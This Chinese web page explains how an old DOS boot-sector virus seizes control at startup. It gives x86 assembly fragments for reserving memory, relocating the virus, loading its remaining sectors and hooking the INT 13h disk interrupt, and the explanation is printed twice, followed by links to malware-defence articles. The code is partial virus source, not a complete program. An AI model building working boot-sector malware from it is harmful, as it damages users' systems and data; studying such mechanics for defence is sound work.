引导型病毒代码

引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS 操作系统之前,作完以下事情:

a. 减少dos可用最大内存量,以供己需;如:

xor ax,ax

mov ss,ax

mov sp,7c00h

mov ds,ax

mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413

sub ax,2 ; apply 2k mem for virus

mov ds:[413h],ax

b. 修改必要的中断向量,以便传播;

c. 读入病毒的其它部分,进行病毒的拼装(在内存高端);

先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:

mov cl,06h

shl ax,cl ; ax = 8F80

add ax,0840h ; ax = 97c0

mov es,ax

mov si,7c00h ; si = 7c00

mov di,si

mov cx,0100h

repz movsw ; 将病毒移到高端.

v2: push ax

pop ds

push ax

mov bx,7c4bh

push bx

ret ; 指令执行转入高端内存

call v3

v3: xor ah,ah ; ah=0

int 13h

mov ah,80h

and byte ptr ds:[7df8h],al

v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分.

push cs

pop ax ; ax=97c0

sub ax,20h ; ax=97a0

mov es,ax ; es=97a0

call v9

mov bx,word ptr ds:[7df9h] ; load logic sector id

inc bx ; bx++ , is boot sector

mov ax,0ffc0h ; ffc0:8000 = 0000:7c00 读入原引导分区内容.

mov es,ax

call v9

xor ax,ax ; AX=0

mov byte ptr ds:[7df7h],al ; flag = 0

v5: mov ds,ax ; ds=0

mov ax,word ptr ds:[4ch] ;

mov bx,word ptr ds:[4eh] ; 修改中断向量.

mov word ptr ds:[4ch],7cd6h

mov word ptr ds:[4eh],cs ; now int13h had been changed

push cs

pop ds ; ds=cs

mov word ptr ds:[7d30h],ax ; save original int13 vector

mov word ptr ds:[7d32h],bx ;

v6: mov dl,byte ptr ds:[7df8h] ; load drive letter

v7:

;=======================================================

; jmp 0000:7c00 ; here is a jump

db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码.

;=======================================================

d. 读入原主引导分区,转去执行dos的引导工作。

引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS 操作系统之前,作完以下事情:

a. 减少dos可用最大内存量,以供己需;如:

xor ax,ax

mov ss,ax

mov sp,7c00h

mov ds,ax

mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413

sub ax,2 ; apply 2k mem for virus

mov ds:[413h],ax

b. 修改必要的中断向量,以便传播;

c. 读入病毒的其它部分,进行病毒的拼装(在内存高端);

先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:

mov cl,06h

shl ax,cl ; ax = 8F80

add ax,0840h ; ax = 97c0

mov es,ax

mov si,7c00h ; si = 7c00

mov di,si

mov cx,0100h

repz movsw ; 将病毒移到高端.

v2: push ax

pop ds

push ax

mov bx,7c4bh

push bx

ret ; 指令执行转入高端内存

call v3

v3: xor ah,ah ; ah=0

int 13h

mov ah,80h

and byte ptr ds:[7df8h],al

v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分.

push cs

pop ax ; ax=97c0

sub ax,20h ; ax=97a0

mov es,ax ; es=97a0

call v9

mov bx,word ptr ds:[7df9h] ; load logic sector id

inc bx ; bx++ , is boot sector

mov ax,0ffc0h ; ffc0:8000 = 0000:7c00 读入原引导分区内容.

mov es,ax

call v9

xor ax,ax ; AX=0

mov byte ptr ds:[7df7h],al ; flag = 0

v5: mov ds,ax ; ds=0

mov ax,word ptr ds:[4ch] ;

mov bx,word ptr ds:[4eh] ; 修改中断向量.

mov word ptr ds:[4ch],7cd6h

mov word ptr ds:[4eh],cs ; now int13h had been changed

push cs

pop ds ; ds=cs

mov word ptr ds:[7d30h],ax ; save original int13 vector

mov word ptr ds:[7d32h],bx ;

v6: mov dl,byte ptr ds:[7df8h] ; load drive letter

v7:

;=======================================================

; jmp 0000:7c00 ; here is a jump

db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码.

;=======================================================

d. 读入原主引导分区,转去执行dos的引导工作。


相关内容

  • 恶意代码防范
  • 1 什么是恶意代码 恶意代码是一种程序,它通过把代码在不被察觉的情况下镶嵌到另一段程序中,从而达到破坏被感染电脑数据.运行具有入侵性或破坏性的程序.破坏被感染电脑数据的安全性和完整性的目的.按传播方式,恶意代码可以分成五类:病毒,木马,蠕虫,移动代码和复合型病毒. 1.1 蠕虫 蠕虫是目前危害最大的 ...

  • 必须掌握的病毒知识
  • 一.病毒的分类及各自的特征 要真正地识别病毒,及时的查杀病毒,我们还有必要对病毒有一番较详细的了解,而且越详细越好! 病毒因为由众多分散的个人或组织单独编写,也没有一个标准去衡量.去划分,所以病毒的分类可按多个角度大体去分. 如按传染对象来分,病毒可以划分为以下几类: a.引导型病毒 这类病毒攻击的 ...

  • 引导型计算病毒原理
  • 引导型计算病毒原理 韩振宇 1994-06-17 软盘的引导区在物理第一扇区,也称BOOT区,硬盘的引导区则分两部分,一部分是物理第一扇区的主引导区,另一部分是分区(对应逻辑盘)的引导区(BOOT区).引导型病毒就是通过占据这些位置,在系统引导时获得控制权的.其存贮形式可分为以下两种. ■保留型:这 ...

  • 教你如何辩病毒
  • 如按其入侵的方式来分为以下几种: a.源代码嵌入攻击型 从它的名字我们就知道这类病毒入侵的主要是高级语言的源程序,病毒是在源程序编译之前插入病毒代码,最后随源程序一起被编译成可执行文件,这样刚生成的文件就是带毒文件.当然这类文件是极少数,手机建站,因为这些病毒开发者不可能轻易得到那些软件开发公司编译 ...

  • 对计算机病毒防治技术的研究
  • 广东石油化工学院高州师范学院毕业论文 对计算机病毒防治技术的研究 广东石油化工学院高州师范学院 309现代教育技术班 钟志亮 [摘要]目前计算机病毒渗透到信息社会的各个领域,给计算机系统带来了巨大的破坏和潜在的威胁,这样计算机病毒防治技术也要不断拓展.本文介绍了计算机病毒的特点,并以此对国内外关于计 ...

  • 木马病毒的区别
  • Trojan Horse(特洛伊木马) Trojan Horse经常也被仅仅称为Trojan,是一种声称做一件事情而实际上做另外一件事情的程序.不是总是破坏性的或者恶意的,它们常常与侦测文件.重写硬盘驱动器之类的事情有关,或者被用于为攻击者提供一个系统的远程访问权限.经典的木马包括作为游戏文件传送的 ...

  • 保障计算机的正常工作
  • 初级中学信息技术第一册下课时教案(十八课时) 保障计算机的正常工作 教学目标: 1.知识与技能 (1)了解计算机安全的含义及常见的安全措施: (2)了解计算机病毒的概念.一般特征及传播途径: (3)掌握防毒.杀毒的基本方法,学会主动防范计算机病毒. 2.过程与方法 (1)提高学生分析.解决实际问题的 ...

  • 病毒及木马
  • 如何干净地清除病毒? 1 .在安全模式或纯DOS模式下清除病毒 当计算机感染病毒的时候,绝大多数的感染病毒的处理可以在正常模式下彻底清除病毒,这里说的正常模式准确的说法应该是实模式(Real Mode),这里通俗点说了.其包括正常模式的 Windows 和正常模式的 Windows 下的 " ...

  • 计算机病毒解析与防范
  • 陕西师范大学网络教育学院 毕业论文(设计) 论文题目 计算机病毒解析与防范 姓 名 学 号 专 业 计算机科学与技术 批次/层次 指导教师 郭志强 学习中心 目 录 摘要....................................................3 1 引言....... ...